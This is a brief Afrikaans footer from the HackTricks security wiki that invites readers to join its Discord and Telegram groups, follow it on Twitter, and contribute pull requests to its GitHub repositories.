* **Sluit aan by die** đŹ [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}